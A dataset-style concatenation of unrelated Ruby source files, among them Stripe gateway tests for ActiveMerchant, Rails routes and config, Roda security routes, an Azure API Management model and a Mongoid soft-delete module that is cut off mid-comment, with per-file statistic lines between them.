assert response = @gateway.unstore(customer_id, card_id: card_id)
assert_success response
assert_equal card_id, response.params['id']
assert_equal true, response.params['deleted']
# Unstore the customer
assert response = @gateway.unstore(customer_id)
assert_success response
assert_equal customer_id, response.params['id']
assert_equal true, response.params['deleted']
end
def test_successful_recurring
assert response = @gateway.store(@credit_card, {:description => "Active Merchant Test Customer", :email => "[email protected]"})
assert_success response
assert recharge_options = @options.merge(:customer => response.params["id"])
assert response = @gateway.purchase(@amount, nil, recharge_options)
assert_success response
assert_equal "charge", response.params["object"]
assert response.params["paid"]
end
def test_successful_recurring_with_apple_pay_payment_token
assert response = @gateway.store(@apple_pay_payment_token, {:description => "Active Merchant Test Customer", :email => "[email protected]"})
assert_success response
assert recharge_options = @options.merge(:customer => response.params["id"])
assert response = @gateway.purchase(@amount, nil, recharge_options)
assert_success response
assert_equal "charge", response.params["object"]
assert response.params["paid"]
end
def test_invalid_login
gateway = StripeGateway.new(:login => 'active_merchant_test')
assert response = gateway.purchase(@amount, @credit_card, @options)
assert_failure response
assert_match "Invalid API Key provided", response.message
end
def test_application_fee_for_stripe_connect
assert response = @gateway.purchase(@amount, @credit_card, @options.merge(:application_fee => 12 ))
assert response.params['fee_details'], 'This test will only work if your gateway login is a Stripe Connect access_token.'
assert response.params['fee_details'].any? do |fee|
(fee['type'] == 'application_fee') && (fee['amount'] == 12)
end
end
def test_card_present_purchase
@credit_card.track_data = '%B378282246310005^LONGSON/LONGBOB^1705101130504392?'
assert response = @gateway.purchase(@amount, @credit_card, @options)
assert_success response
assert_equal "charge", response.params["object"]
assert response.params["paid"]
end
def test_card_present_authorize_and_capture
@credit_card.track_data = '%B378282246310005^LONGSON/LONGBOB^1705101130504392?'
assert authorization = @gateway.authorize(@amount, @credit_card, @options)
assert_success authorization
refute authorization.params["captured"]
assert capture = @gateway.capture(@amount, authorization.authorization)
assert_success capture
end
def test_successful_refund_with_application_fee
assert response = @gateway.purchase(@amount, @credit_card, @options.merge(:application_fee => 12))
assert response.params['fee_details'], 'This test will only work if your gateway login is a Stripe Connect access_token.'
assert refund = @gateway.refund(@amount, response.authorization, :refund_application_fee => true)
assert_success refund
assert_equal 0, refund.params["fee"]
end
def test_refund_partial_application_fee
assert response = @gateway.purchase(@amount, @credit_card, @options.merge(:application_fee => 12))
assert response.params['fee_details'], 'This test will only work if your gateway login is a Stripe Connect access_token.'
assert refund = @gateway.refund(@amount - 20, response.authorization, { :refund_fee_amount => 10 })
assert_success refund
end
def test_creditcard_purchase_with_customer
assert response = @gateway.purchase(@amount, @credit_card, @options.merge(:customer => '1234'))
assert_success response
assert_equal "charge", response.params["object"]
assert response.params["paid"]
end
def test_expanding_objects
assert response = @gateway.purchase(@amount, @credit_card, @options.merge(:expand => 'balance_transaction'))
assert_success response
assert response.params['balance_transaction'].is_a?(Hash)
assert_equal 'balance_transaction', response.params['balance_transaction']['object']
end
def test_successful_update
creation = @gateway.store(@credit_card, {:description => "Active Merchant Update Credit Card"})
customer_id = creation.params['id']
card_id = creation.params['cards']['data'].first['id']
assert response = @gateway.update(customer_id, card_id, { :name => "John Doe", :address_line1 => "123 Main Street", :address_city => "Pleasantville", :address_state => "NY", :address_zip => "12345", :exp_year => Time.now.year + 2, :exp_month => 6 })
assert_success response
assert_equal "John Doe", response.params["name"]
assert_equal "123 Main Street", response.params["address_line1"]
assert_equal "Pleasantville", response.params["address_city"]
assert_equal "NY", response.params["address_state"]
assert_equal "12345", response.params["address_zip"]
assert_equal Time.now.year + 2, response.params["exp_year"]
assert_equal 6, response.params["exp_month"]
end
def test_incorrect_number_for_purchase
card = credit_card('4242424242424241')
assert response = @gateway.purchase(@amount, card, @options)
assert_failure response
assert_match Gateway::STANDARD_ERROR_CODE[:incorrect_number], response.error_code
end
def test_invalid_number_for_purchase
card = credit_card('-1')
assert response = @gateway.purchase(@amount, card, @options)
assert_failure response
assert_match Gateway::STANDARD_ERROR_CODE[:invalid_number], response.error_code
end
def test_invalid_expiry_month_for_purchase
card = credit_card('4242424242424242', month: 16)
assert response = @gateway.purchase(@amount, card, @options)
assert_failure response
assert_match Gateway::STANDARD_ERROR_CODE[:invalid_expiry_date], response.error_code
end
def test_invalid_expiry_year_for_purchase
card = credit_card('4242424242424242', year: 'xx')
assert response = @gateway.purchase(@amount, card, @options)
assert_failure response
assert_match Gateway::STANDARD_ERROR_CODE[:invalid_expiry_date], response.error_code
end
def test_expired_card_for_purchase
card = credit_card('4000000000000069')
assert response = @gateway.purchase(@amount, card, @options)
assert_failure response
assert_match Gateway::STANDARD_ERROR_CODE[:expired_card], response.error_code
end
def test_invalid_cvc_for_purchase
card = credit_card('4242424242424242', verification_value: -1)
assert response = @gateway.purchase(@amount, card, @options)
assert_failure response
assert_match Gateway::STANDARD_ERROR_CODE[:invalid_cvc], response.error_code
end
def test_incorrect_cvc_for_purchase
card = credit_card('4000000000000127')
assert response = @gateway.purchase(@amount, card, @options)
assert_failure response
assert_match Gateway::STANDARD_ERROR_CODE[:incorrect_cvc], response.error_code
end
def test_processing_error
card = credit_card('4000000000000119')
assert response = @gateway.purchase(@amount, card, @options)
assert_failure response
assert_match Gateway::STANDARD_ERROR_CODE[:processing_error], response.error_code
end
def test_purchase_with_unsuccessful_apple_pay_token_exchange
assert response = @gateway.purchase(@amount, ApplePayPaymentToken.new('garbage'), @options)
assert_failure response
end
def test_successful_purchase_with_apple_pay_raw_cryptogram
credit_card = network_tokenization_credit_card('4242424242424242',
payment_cryptogram: "EHuWW9PiBkWvqE5juRwDzAUFBAk=",
verification_value: nil
)
assert response = @gateway.purchase(@amount, credit_card, @options)
assert_success response
assert_equal "charge", response.params["object"]
assert response.params["paid"]
assert_equal "ActiveMerchant Test Purchase", response.params["description"]
assert_equal "[email protected]", response.params["metadata"]["email"]
assert_match CHARGE_ID_REGEX, response.authorization
end
def test_successful_auth_with_apple_pay_raw_cryptogram
credit_card = network_tokenization_credit_card('4242424242424242',
payment_cryptogram: "EHuWW9PiBkWvqE5juRwDzAUFBAk=",
verification_value: nil
)
assert response = @gateway.authorize(@amount, credit_card, @options)
assert_success response
assert_equal "charge", response.params["object"]
assert response.params["paid"]
assert_equal "ActiveMerchant Test Purchase", response.params["description"]
assert_equal "[email protected]", response.params["metadata"]["email"]
assert_match CHARGE_ID_REGEX, response.authorization
end
end
| 46.341176 | 672 | 0.7694 |
7a2ae2dc456a492444951fd6df16d16a38009eb0 | 612 | require_relative 'boot'
require 'rails/all'
# Require the gems listed in Gemfile, including any gems
# you've limited to :test, :development, or :production.
Bundler.require(*Rails.groups)
module SampleApp
class Application < Rails::Application
# Include the authenticity token in remote forms.
config.action_view.embed_authenticity_token_in_remote_forms = true
# Settings in config/environments/* take precedence over those specified here.
# Application configuration should go into files in config/initializers
# -- all .rb files in that directory are automatically loaded.
end
end
| 32.210526 | 82 | 0.771242 |
1d1cd6879c2edfebc98e5df70eafacdc7d57d687 | 387 | # frozen_string_literal: true
module Appsignal
module Utils
module RailsHelper
def self.detected_rails_app_name
rails_class = Rails.application.class
if rails_class.respond_to? :module_parent_name # Rails 6
rails_class.module_parent_name
else # Older Rails versions
rails_class.parent_name
end
end
end
end
end
| 22.764706 | 64 | 0.684755 |
5df7ddd7a0426b6b108ca559dfc1ef7349009514 | 203 | require 'fog/core/model'
module Fog
module DNS
class StormOnDemand
class Reverse < Fog::Model
def initialize(attributes={})
super
end
end
end
end
end
| 12.6875 | 37 | 0.581281 |
2662d756d48d51ce9dd20195a220eba64a1f4f6a | 706 | module Rails
module Generators
class ActionsGenerator < NamedBase
source_root File.expand_path('../templates', __FILE__)
def create_actions_folder
template 'collect.rb.erb', File.join('app/actions', plural_name, 'collect.rb')
template 'create.rb.erb', File.join('app/actions', plural_name, 'create.rb')
template 'destroy.rb.erb', File.join('app/actions', plural_name, 'destroy.rb')
template 'show.rb.erb', File.join('app/actions', plural_name, 'show.rb')
template 'update.rb.erb', File.join('app/actions', plural_name, 'update.rb')
end
private
def module_name
plural_name.classify.pluralize
end
end
end
end
| 32.090909 | 86 | 0.66289 |
183bf00a70314237aa8e09a2a29233dc886e209d | 445 | cask 'font-arapey' do
version :latest
sha256 :no_check
# github.com/google/fonts/ was verified as official when first introduced to the cask
url 'https://github.com/google/fonts/trunk/ofl/arapey',
using: :svn,
revision: '50',
trust_cert: true
name 'Arapey'
homepage 'https://www.google.com/fonts/specimen/Arapey'
depends_on macos: '>= :sierra'
font 'Arapey-Italic.ttf'
font 'Arapey-Regular.ttf'
end
| 24.722222 | 87 | 0.680899 |
e8fc3b63fba5d1b55bee5b8ee9fa5364fc66bf57 | 1,287 | # encoding: UTF-8
# This file is auto-generated from the current state of the database. Instead
# of editing this file, please use the migrations feature of Active Record to
# incrementally modify your database, and then regenerate this schema definition.
#
# Note that this schema.rb definition is the authoritative source for your
# database schema. If you need to create the application database on another
# system, you should be using db:schema:load, not running all the migrations
# from scratch. The latter is a flawed and unsustainable approach (the more migrations
# you'll amass, the slower it'll run and the greater likelihood for issues).
#
# It's strongly recommended that you check this file into your version control system.
ActiveRecord::Schema.define(version: 20150828164605) do
# These are extensions that must be enabled in order to support this database
enable_extension "plpgsql"
create_table "bands", force: :cascade do |t|
t.string "name"
t.datetime "created_at"
t.datetime "updated_at"
end
create_table "bands_venues", force: :cascade do |t|
t.integer "band_id"
t.integer "venue_id"
end
create_table "venues", force: :cascade do |t|
t.string "name"
t.datetime "created_at"
t.datetime "updated_at"
end
end
| 34.783784 | 86 | 0.748252 |
33621bb94376d111bb39e990bbde1f8b2c76c16b | 15,155 | # frozen_string_literal: true
# rubocop:disable Metrics/ClassLength
# rubocop:disable Metrics/BlockLength
class Dataminer < Roda
route 'functional_areas', 'security' do |r|
# FUNCTIONAL AREAS
# --------------------------------------------------------------------------
r.on 'functional_areas', Integer do |id|
interactor = SecurityApp::FunctionalAreaInteractor.new(current_user, {}, { route_url: request.path }, {})
# Check for notfound:
r.on !interactor.exists?(:functional_areas, id) do
handle_not_found(r)
end
r.on 'edit' do # EDIT
check_auth!('menu', 'edit')
show_partial { Security::FunctionalAreas::FunctionalArea::Edit.call(id) }
end
r.on 'sql' do
sql = interactor.show_sql(id, self.class.name)
show_partial { Security::FunctionalAreas::FunctionalArea::Sql.call(sql) }
end
r.on 'reorder' do
show_partial { Security::FunctionalAreas::FunctionalArea::Reorder.call(id) }
end
r.on 'save_reorder' do
res = interactor.reorder_programs(params[:p_sorted_ids])
flash[:notice] = res.message
redirect_via_json_to_last_grid
end
r.is do
r.get do # SHOW
check_auth!('menu', 'read')
show_partial { Security::FunctionalAreas::FunctionalArea::Show.call(id) }
end
r.patch do # UPDATE
return_json_response
res = interactor.update_functional_area(id, params[:functional_area])
if res.success
flash[:notice] = res.message
redirect_via_json_to_last_grid
else
content = show_partial { Security::FunctionalAreas::FunctionalArea::Edit.call(id, params[:functional_area], res.errors) }
update_dialog_content(content: content, error: res.message)
end
end
r.delete do # DELETE
return_json_response
check_auth!('menu', 'delete')
res = interactor.delete_functional_area(id)
flash[:notice] = res.message
redirect_to_last_grid(r)
end
end
end
r.on 'functional_areas' do
interactor = SecurityApp::FunctionalAreaInteractor.new(current_user, {}, { route_url: request.path }, {})
r.on 'new' do # NEW
check_auth!('menu', 'new')
show_partial_or_page(r) { Security::FunctionalAreas::FunctionalArea::New.call(remote: fetch?(r)) }
end
r.post do # CREATE
res = interactor.create_functional_area(params[:functional_area])
if res.success
flash[:notice] = res.message
redirect_to_last_grid(r)
else
re_show_form(r, res, url: '/security/functional_areas/functional_areas/new') do
Security::FunctionalAreas::FunctionalArea::New.call(form_values: params[:functional_area],
form_errors: res.errors,
remote: fetch?(r))
end
end
end
end
# PROGRAMS
# --------------------------------------------------------------------------
r.on 'programs', Integer do |id|
interactor = SecurityApp::ProgramInteractor.new(current_user, {}, { route_url: request.path }, {})
r.on 'new' do # NEW
check_auth!('menu', 'new')
show_partial_or_page(r) { Security::FunctionalAreas::Program::New.call(id, remote: fetch?(r)) }
end
# Check for notfound:
r.on !interactor.exists?(:programs, id) do
handle_not_found(r)
end
r.on 'edit' do # EDIT
check_auth!('menu', 'edit')
show_partial { Security::FunctionalAreas::Program::Edit.call(id) }
end
r.on 'sql' do
sql = interactor.show_sql(id, self.class.name)
show_partial { Security::FunctionalAreas::FunctionalArea::Sql.call(sql) }
end
r.is do
r.get do # SHOW
check_auth!('menu', 'read')
show_partial { Security::FunctionalAreas::Program::Show.call(id) }
end
r.patch do # UPDATE
return_json_response
res = interactor.update_program(id, params[:program])
if res.success
flash[:notice] = res.message
redirect_via_json_to_last_grid
else
content = show_partial { Security::FunctionalAreas::Program::Edit.call(id, params[:program], res.errors) }
update_dialog_content(content: content, error: res.message)
end
end
r.delete do # DELETE
return_json_response
check_auth!('menu', 'delete')
res = interactor.delete_program(id)
flash[:notice] = res.message
redirect_to_last_grid(r)
end
end
r.on 'reorder' do
show_partial { Security::FunctionalAreas::Program::Reorder.call(id) }
end
r.on 'save_reorder' do
res = interactor.reorder_program_functions(params[:pf_sorted_ids])
flash[:notice] = res.message
redirect_via_json_to_last_grid
end
end
r.on 'programs' do
interactor = SecurityApp::ProgramInteractor.new(current_user, {}, { route_url: request.path }, {})
r.on 'link_users', Integer do |id|
r.post do
res = interactor.link_user(id, multiselect_grid_choices(params))
if fetch?(r)
show_json_notice(res.message)
else
flash[:notice] = res.message
r.redirect '/list/users'
end
end
end
r.post do # CREATE
res = interactor.create_program(params[:program], self.class.name)
if res.success
flash[:notice] = res.message
redirect_to_last_grid(r)
else
re_show_form(r, res, url: "/security/functional_areas/programs/#{res.functional_area_id}/new") do
Security::FunctionalAreas::Program::New.call(res.functional_area_id,
form_values: params[:program],
form_errors: res.errors,
remote: fetch?(r))
end
end
end
end
# PROGRAM FUNCTIONS
# --------------------------------------------------------------------------
r.on 'program_functions', Integer do |id|
interactor = SecurityApp::ProgramFunctionInteractor.new(current_user, {}, { route_url: request.path }, {})
r.on 'new' do # NEW
check_auth!('menu', 'new')
show_partial_or_page(r) { Security::FunctionalAreas::ProgramFunction::New.call(id, remote: fetch?(r)) }
end
# Check for notfound:
r.on !interactor.exists?(:program_functions, id) do
handle_not_found(r)
end
r.on 'edit' do # EDIT
check_auth!('menu', 'edit')
show_partial { Security::FunctionalAreas::ProgramFunction::Edit.call(id) }
end
r.on 'sql' do
sql = interactor.show_sql(id, self.class.name)
show_partial { Security::FunctionalAreas::FunctionalArea::Sql.call(sql) }
end
r.is do
r.get do # SHOW
check_auth!('menu', 'read')
show_partial { Security::FunctionalAreas::ProgramFunction::Show.call(id) }
end
r.patch do # UPDATE
return_json_response
res = interactor.update_program_function(id, params[:program_function])
if res.success
flash[:notice] = res.message
redirect_via_json_to_last_grid
else
content = show_partial { Security::FunctionalAreas::ProgramFunction::Edit.call(id, params[:program_function], res.errors) }
update_dialog_content(content: content, error: res.message)
end
end
r.delete do # DELETE
return_json_response
check_auth!('menu', 'delete')
res = interactor.delete_program_function(id)
flash[:notice] = res.message
redirect_to_last_grid(r)
end
end
end
r.on 'program_functions' do
interactor = SecurityApp::ProgramFunctionInteractor.new(current_user, {}, { route_url: request.path }, {})
r.on 'link_users', Integer do |id|
r.post do
res = interactor.link_user(id, multiselect_grid_choices(params))
flash[:notice] = res.message
r.redirect '/list/menu_definitions'
end
end
r.post do # CREATE
res = interactor.create_program_function(params[:program_function])
if res.success
flash[:notice] = res.message
redirect_to_last_grid(r)
else
re_show_form(r, res, url: "/security/functional_areas/program_functions/#{params[:program_function][:program_id]}/new") do
Security::FunctionalAreas::ProgramFunction::New.call(params[:program_function][:program_id],
form_values: params[:program_function],
form_errors: res.errors,
remote: fetch?(r))
end
end
end
end
# SECURITY GROUPS
# --------------------------------------------------------------------------
r.on 'security_groups', Integer do |id|
interactor = SecurityApp::SecurityGroupInteractor.new(current_user, {}, { route_url: request.path }, {})
# Check for notfound:
r.on !interactor.exists?(:security_groups, id) do
handle_not_found(r)
end
r.on 'edit' do # EDIT
check_auth!('menu', 'edit')
show_partial { Security::FunctionalAreas::SecurityGroup::Edit.call(id) }
end
r.on 'permissions' do
r.post do
return_json_response
res = interactor.assign_security_permissions(id, params[:security_group])
if res.success
update_grid_row(id,
changes: { permissions: res.instance.permission_list },
notice: res.message)
else
content = show_partial { Security::FunctionalAreas::SecurityGroup::Permissions.call(id, params[:security_group], res.errors) }
update_dialog_content(content: content, error: res.message)
end
end
show_partial { Security::FunctionalAreas::SecurityGroup::Permissions.call(id) }
end
r.is do
r.get do # SHOW
check_auth!('menu', 'read')
show_partial { Security::FunctionalAreas::SecurityGroup::Show.call(id) }
end
r.patch do # UPDATE
return_json_response
res = interactor.update_security_group(id, params[:security_group])
if res.success
update_grid_row(id,
changes: { security_group_name: res.instance[:security_group_name] },
notice: res.message)
else
content = show_partial { Security::FunctionalAreas::SecurityGroup::Edit.call(id, params[:security_group], res.errors) }
update_dialog_content(content: content, error: res.message)
end
end
r.delete do # DELETE
return_json_response
check_auth!('menu', 'delete')
res = interactor.delete_security_group(id)
delete_grid_row(id, notice: res.message)
end
end
end
r.on 'security_groups' do
interactor = SecurityApp::SecurityGroupInteractor.new(current_user, {}, { route_url: request.path }, {})
r.on 'new' do # NEW
check_auth!('menu', 'new')
show_partial_or_page(r) { Security::FunctionalAreas::SecurityGroup::New.call(remote: fetch?(r)) }
end
r.post do # CREATE
res = interactor.create_security_group(params[:security_group])
if res.success
flash[:notice] = res.message
redirect_to_last_grid(r)
else
re_show_form(r, res, url: '/security/functional_areas/security_groups/new') do
Security::FunctionalAreas::SecurityGroup::New.call(form_values: params[:security_group],
form_errors: res.errors,
remote: fetch?(r))
end
end
end
end
# SECURITY PERMISSIONS
# --------------------------------------------------------------------------
r.on 'security_permissions', Integer do |id|
interactor = SecurityApp::SecurityPermissionInteractor.new(current_user, {}, { route_url: request.path }, {})
# Check for notfound:
r.on !interactor.exists?(:security_permissions, id) do
handle_not_found(r)
end
r.on 'edit' do # EDIT
check_auth!('menu', 'edit')
show_partial { Security::FunctionalAreas::SecurityPermission::Edit.call(id) }
end
r.is do
r.get do # SHOW
check_auth!('menu', 'read')
show_partial { Security::FunctionalAreas::SecurityPermission::Show.call(id) }
end
r.patch do # UPDATE
return_json_response
res = interactor.update_security_permission(id, params[:security_permission])
if res.success
update_grid_row(id,
changes: { security_permission: res.instance[:security_permission] },
notice: res.message)
else
content = show_partial { Security::FunctionalAreas::SecurityPermission::Edit.call(id, params[:security_permission], res.errors) }
update_dialog_content(content: content, error: res.message)
end
end
r.delete do # DELETE
return_json_response
check_auth!('menu', 'delete')
res = interactor.delete_security_permission(id)
delete_grid_row(id, notice: res.message)
end
end
end
r.on 'security_permissions' do
interactor = SecurityApp::SecurityPermissionInteractor.new(current_user, {}, { route_url: request.path }, {})
r.on 'new' do # NEW
check_auth!('menu', 'new')
show_partial_or_page(r) { Security::FunctionalAreas::SecurityPermission::New.call(remote: fetch?(r)) }
end
r.post do # CREATE
res = interactor.create_security_permission(params[:security_permission])
if res.success
flash[:notice] = res.message
redirect_to_last_grid(r)
else
re_show_form(r, res, url: '/security/functional_areas/security_permissions/new') do
Security::FunctionalAreas::SecurityPermission::New.call(form_values: params[:security_permission],
form_errors: res.errors,
remote: fetch?(r))
end
end
end
end
end
end
# rubocop:enable Metrics/ClassLength
# rubocop:enable Metrics/BlockLength
| 38.958869 | 141 | 0.566414 |
bb5360f465d694eac54f3d0dac4032ae3421e7d1 | 5,209 | Rails.application.routes.draw do
# For details on the DSL available within this file, see http://guides.rubyonrails.org/routing.html
use_doorkeeper
namespace :oauth, { defaults: {format: :json} } do
get 'device_flow_init', to: 'device_flow#init'
get 'device_flow_authorize', to: 'device_flow#authorize'
end
namespace :api, { defaults: {format: :json} } do
namespace :v1 do
get 'user', to: 'user#show'
resources :courses, param: :name, only: [:index, :create] do
resources :course_user_data, only: [:index, :create, :show, :update, :destroy],
param: :email, :constraints => { :email => /[^\/]+/ }
resources :assessments, param: :name, only: [:index, :show] do
get 'problems'
get 'writeup'
get 'handout'
post 'submit'
resources :submissions, param: :version, only: [:index] do
get 'feedback'
end
end
end
match "*path", to: "base_api#render_404", via: :all
end
end
root "courses#index"
devise_for :users, controllers: { omniauth_callbacks: "users/omniauth_callbacks",
registrations: "registrations",
home: "home" },
path_prefix: "auth"
get "contact", to: "home#contact"
namespace :home do
if Rails.env == "development" || Rails.env == "test"
match "developer_login", via: [:get, :post]
end
get "error"
get "error_404"
get "no_user"
end
# device_flow-related
get "activate", to: "device_flow_activation#index", as: :device_flow_activation
get "device_flow_resolve", to: "device_flow_activation#resolve"
get "device_flow_auth_cb", to: "device_flow_activation#authorization_callback"
resource :admin do
match "email_instructors", via: [:get, :post]
end
resources :users do
get "admin"
end
get '/users/:id' => 'users#show', as:'theme'
resources :courses, param: :name do
resources :schedulers do
get "visualRun", action: :visual_run
get "run"
end
resources :jobs, only: :index do
get "getjob", on: :member
collection do
get "tango_status"
get "tango_data"
end
end
resources :announcements, except: :show
resources :attachments
resources :assessments, param: :name, except: :update do
resource :autograder, except: [:new, :show]
resources :assessment_user_data, only: [:edit, :update]
resources :attachments
resources :extensions, only: [:index, :create, :destroy]
resources :groups, except: :edit do
member do
post "add"
post "join"
post "leave"
end
post "import", on: :collection
end
resources :problems, except: [:index, :show]
resource :scoreboard, except: [:new] do
get "help", on: :member
end
resources :submissions do
resources :annotations, only: [:create, :update, :destroy]
resources :scores, only: [:create, :show, :update]
member do
get "destroyConfirm"
get "download"
get "view"
end
collection do
get "downloadAll"
get "missing"
end
end
member do
match "bulkGrade", via: [:get, :post]
post "bulkGrade_complete"
get "bulkExport"
get "releaseAllGrades"
get "releaseSectionGrades"
get "viewFeedback"
get "reload"
get "statistics"
get "withdrawAllGrades"
get "export"
patch "edit/*active_tab", action: :update
get "edit/*active_tab", action: :edit
post "handin"
get "history"
get "viewGradesheet"
get "writeup"
get "handout"
# autograde actions
post "autograde_done"
post "regrade"
post "regradeBatch"
post "regradeAll"
# SVN actions
get "admin_svn"
post "import_svn"
post "set_repo"
# gradesheet ajax actions
post "quickSetScore"
post "quickSetScoreDetails"
get "quickGetTotal"
get "score_grader_info"
get "submission_popover"
# remote calls
match "local_submit", via: [:get, :post]
get "log_submit"
end
collection do
get "installAssessment"
post "importAssessment"
post "importAsmtFromTar"
end
end
resources :course_user_data do
resource :gradebook, only: :show do
get "bulkRelease"
get "csv"
get "invalidate"
get "statistics"
get "student"
get "view"
end
member do
get "destroyConfirm"
match "sudo", via: [:get, :post]
get "unsudo"
end
end
member do
get "bulkRelease"
get "downloadRoster"
match "email", via: [:get, :post]
get "manage"
get "moss"
get "reload"
match "report_bug", via: [:get, :post]
post "runMoss"
get "sudo"
match "uploadRoster", via: [:get, :post]
get "userLookup"
get "users"
end
end
end | 26.045 | 101 | 0.571127 |
116baddf026f0e592c770f25b22829de4aafdffd | 7,238 | # encoding: utf-8
# Code generated by Microsoft (R) AutoRest Code Generator.
# Changes may cause incorrect behavior and will be lost if the code is
# regenerated.
module Azure::ApiManagement::Mgmt::V2018_06_01_preview
module Models
#
# Api Entity Properties
#
class ApiContractProperties < ApiEntityBaseContract
include MsRestAzure
# @return [String] API name.
attr_accessor :display_name
# @return [String] Absolute URL of the backend service implementing this
# API.
attr_accessor :service_url
# @return [String] Relative URL uniquely identifying this API and all of
# its resource paths within the API Management service instance. It is
# appended to the API endpoint base URL specified during the service
# instance creation to form a public URL for this API.
attr_accessor :path
# @return [Array<Protocol>] Describes on which protocols the operations
# in this API can be invoked.
attr_accessor :protocols
# @return [ApiVersionSetContractDetails]
attr_accessor :api_version_set
#
# Mapper for ApiContractProperties class as Ruby Hash.
# This will be used for serialization/deserialization.
#
def self.mapper()
{
client_side_validation: true,
required: false,
serialized_name: 'ApiContractProperties',
type: {
name: 'Composite',
class_name: 'ApiContractProperties',
model_properties: {
description: {
client_side_validation: true,
required: false,
serialized_name: 'description',
type: {
name: 'String'
}
},
authentication_settings: {
client_side_validation: true,
required: false,
serialized_name: 'authenticationSettings',
type: {
name: 'Composite',
class_name: 'AuthenticationSettingsContract'
}
},
subscription_key_parameter_names: {
client_side_validation: true,
required: false,
serialized_name: 'subscriptionKeyParameterNames',
type: {
name: 'Composite',
class_name: 'SubscriptionKeyParameterNamesContract'
}
},
api_type: {
client_side_validation: true,
required: false,
serialized_name: 'type',
type: {
name: 'String'
}
},
api_revision: {
client_side_validation: true,
required: false,
serialized_name: 'apiRevision',
constraints: {
MaxLength: 100,
MinLength: 1
},
type: {
name: 'String'
}
},
api_version: {
client_side_validation: true,
required: false,
serialized_name: 'apiVersion',
constraints: {
MaxLength: 100
},
type: {
name: 'String'
}
},
is_current: {
client_side_validation: true,
required: false,
read_only: true,
serialized_name: 'isCurrent',
type: {
name: 'Boolean'
}
},
is_online: {
client_side_validation: true,
required: false,
read_only: true,
serialized_name: 'isOnline',
type: {
name: 'Boolean'
}
},
api_revision_description: {
client_side_validation: true,
required: false,
serialized_name: 'apiRevisionDescription',
constraints: {
MaxLength: 256
},
type: {
name: 'String'
}
},
api_version_description: {
client_side_validation: true,
required: false,
serialized_name: 'apiVersionDescription',
constraints: {
MaxLength: 256
},
type: {
name: 'String'
}
},
api_version_set_id: {
client_side_validation: true,
required: false,
serialized_name: 'apiVersionSetId',
type: {
name: 'String'
}
},
subscription_required: {
client_side_validation: true,
required: false,
serialized_name: 'subscriptionRequired',
type: {
name: 'Boolean'
}
},
display_name: {
client_side_validation: true,
required: false,
serialized_name: 'displayName',
constraints: {
MaxLength: 300,
MinLength: 1
},
type: {
name: 'String'
}
},
service_url: {
client_side_validation: true,
required: false,
serialized_name: 'serviceUrl',
constraints: {
MaxLength: 2000,
MinLength: 0
},
type: {
name: 'String'
}
},
path: {
client_side_validation: true,
required: true,
serialized_name: 'path',
constraints: {
MaxLength: 400,
MinLength: 0
},
type: {
name: 'String'
}
},
protocols: {
client_side_validation: true,
required: false,
serialized_name: 'protocols',
type: {
name: 'Sequence',
element: {
client_side_validation: true,
required: false,
serialized_name: 'ProtocolElementType',
type: {
name: 'Enum',
module: 'Protocol'
}
}
}
},
api_version_set: {
client_side_validation: true,
required: false,
serialized_name: 'apiVersionSet',
type: {
name: 'Composite',
class_name: 'ApiVersionSetContractDetails'
}
}
}
}
}
end
end
end
end
| 31.333333 | 78 | 0.435479 |
615ec7755d41dec6060bd9eea328ef3dda1773f9 | 5,359 | # encoding: utf-8
require 'mongoid/paranoia/monkey_patches'
require 'mongoid/paranoia/configuration'
require 'active_support'
require 'active_support/deprecation'
module Mongoid
# Include this module to get soft deletion of root level documents.
# This will add a deleted_at field to the +Document+, managed automatically.
# Potentially incompatible with unique indices. (if collisions with deleted items)
#
# @example Make a document paranoid.
# class Person
# include Mongoid::Document
# include Mongoid::Paranoia
# end
module Paranoia
include Mongoid::Persistable::Deletable
extend ActiveSupport::Concern
class << self
attr_accessor :configuration
end
def self.configuration
@configuration ||= Configuration.new
end
def self.reset
@configuration = Configuration.new
end
# Allow the paranoid +Document+ to use an alternate field name for deleted_at.
#
# @example
# Mongoid::Paranoia.configure do |c|
# c.paranoid_field = :myFieldName
# end
def self.configure
yield(configuration)
end
included do
field Paranoia.configuration.paranoid_field, as: :deleted_at, type: Time
self.paranoid = true
default_scope -> { where(deleted_at: nil) }
scope :deleted, -> { ne(deleted_at: nil) }
define_model_callbacks :restore
define_model_callbacks :remove
end
# Delete the paranoid +Document+ from the database completely. This will
# run the destroy callbacks.
#
# @example Hard destroy the document.
# document.destroy!
#
# @return [ true, false ] If the operation succeeded.
#
# @since 1.0.0
def destroy!
run_callbacks(:destroy) do
run_callbacks(:remove) do
delete!
end
end
end
# Override the persisted method to allow for the paranoia gem.
# If a paranoid record is selected, then we only want to check
# if it's a new record, not if it is "destroyed"
#
# @example
# document.persisted?
#
# @return [ true, false ] If the operation succeeded.
#
# @since 4.0.0
def persisted?
!new_record?
end
# Delete the +Document+, will set the deleted_at timestamp and not actually
# delete it.
#
# @example Soft remove the document.
# document.remove
#
# @param [ Hash ] options The database options.
#
# @return [ true ] True.
#
# @since 1.0.0
alias orig_remove :remove
def remove(_ = {})
cascade!
time = self.deleted_at = Time.now
_paranoia_update('$set' => { paranoid_field => time })
@destroyed = true
true
end
alias delete :remove
# Delete the paranoid +Document+ from the database completely.
#
# @example Hard delete the document.
# document.delete!
#
# @return [ true, false ] If the operation succeeded.
#
# @since 1.0.0
def delete!
orig_remove
end
# Determines if this document is destroyed.
#
# @example Is the document destroyed?
# person.destroyed?
#
# @return [ true, false ] If the document is destroyed.
#
# @since 1.0.0
def destroyed?
(@destroyed ||= false) || !!deleted_at
end
alias :deleted? :destroyed?
# Restores a previously soft-deleted document. Handles this by removing the
# deleted_at flag.
#
# @example Restore the document from deleted state.
# document.restore
#
# For resoring associated documents use :recursive => true
# @example Restore the associated documents from deleted state.
# document.restore(:recursive => true)
#
# TODO: @return [ Time ] The time the document had been deleted.
#
# @since 1.0.0
def restore(opts = {})
run_callbacks(:restore) do
_paranoia_update("$unset" => { paranoid_field => true })
attributes.delete("deleted_at")
@destroyed = false
restore_relations if opts[:recursive]
true
end
end
# Returns a string representing the documents's key suitable for use in URLs.
def to_param
new_record? ? nil : to_key.join('-')
end
def restore_relations
self.relations.each_pair do |name, metadata|
next unless metadata[:dependent] == :destroy
relation = self.send(name)
if relation.present? && relation.paranoid?
Array.wrap(relation).each do |doc|
doc.restore(:recursive => true)
end
end
end
end
private
# Get the collection to be used for paranoid operations.
#
# @example Get the paranoid collection.
# document.paranoid_collection
#
# @return [ Collection ] The root collection.
def paranoid_collection
embedded? ? _root.collection : self.collection
end
# Get the field to be used for paranoid operations.
#
# @example Get the paranoid field.
# document.paranoid_field
#
# @return [ String ] The deleted at field.
